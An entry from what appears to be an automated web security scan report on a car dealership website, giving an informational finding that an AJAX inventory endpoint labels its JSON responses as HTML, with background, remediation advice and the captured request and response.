P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: ssoid=63d3063a0a0a00d701afcf207f848d24;path=/
Content-Type: text/html;charset=iso-8859-1
Set-Cookie: JSESSIONID=16yu4l7go8ukz;path=/
Set-Cookie: lbpoolmember=3607170570.40475.0000; path=/
X-DDC-Arch-Trace: ,HttpResponse,CookieSet
Set-Cookie: ddcpoolid=CmsPoolA;path=/;

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- wccms21.dealer.ddc p7070 -->

   <title>Gillman Acura, Honda, Nissan, Mitsubishi, Chevrolet, Subaru, Chrysler, Jeep, Dodge, GMC,
...[SNIP]...
s.getCity(), $account.Address.getState() $account.Address.getPostalCode()&amp;phone1Label=Sales:&amp;phone1=&amp;phone2Label=Service:&amp;phone2=&amp;phone3Label=Parts:&amp;phone3=&amp;fax=&amp;email1=gillman1@gillmanauto.com&amp;language=en&amp;siteIndex=true&amp;franchises=[subaru, nissan, mitsubishi, honda, acura, chevrolet, buick, gmc, chrysler, jeep, dodge, ram]&amp;dealerValueStatement=", "headerMovie", "960", "108",
...[SNIP]...

5. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.gillmanauto.com
Path:   /smartbrowse/ajax/used.htm

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain JSON.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /smartbrowse/ajax/used.htm?detect=false&reset=InventoryListing&showYear=true&showMake=true&showModel=true&showAllModels=false&showTrim=true&showBodyStyle=true&showMileage=false&showPrice=true&showLocation=false&showHighywayMpgs=false HTTP/1.1
Host: www.gillmanauto.com
Proxy-Connection: keep-alive
Referer: http://www.gillmanauto.com/index.htm
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/json, text/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ssoid=63e942630a0a0043011b315cea80c7c3; JSESSIONID=h1refb1rpn7nt; lbpoolmember=1728122378.40475.0000; ddcpoolid=CmsPoolA; __utmz=1.1303051319.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/41; __utma=1.1275321047.1303051319.1303051319.1303051319.1; __utmc=1; __utmb=1.2.10.1303051319

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 14:42:09 GMT
Server: Jetty/5.1.1 (Linux/2.6.18-128.7.1.el5 i386 java/1.5.0_16
P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Cache-Control: no-store
Content-Type: text/html;charset=iso-8859-1
X-DDC-Arch-Trace: ,HttpResponse
Content-Length: 3230

{


   "SByear" : { "2011":"2011 (17)", "2010":"2010 (97)", "2009":"2009 (88)", "2008":"2008 (187)", "2007":"2007 (116)", "2006":"2006 (68)", "2005":"2005 (44)", "2004":"2004 (40)", "2003":"2003
...[SNIP]...

Report generated by XSS.CX at Sun Apr 17 09:43:50 CDT 2011.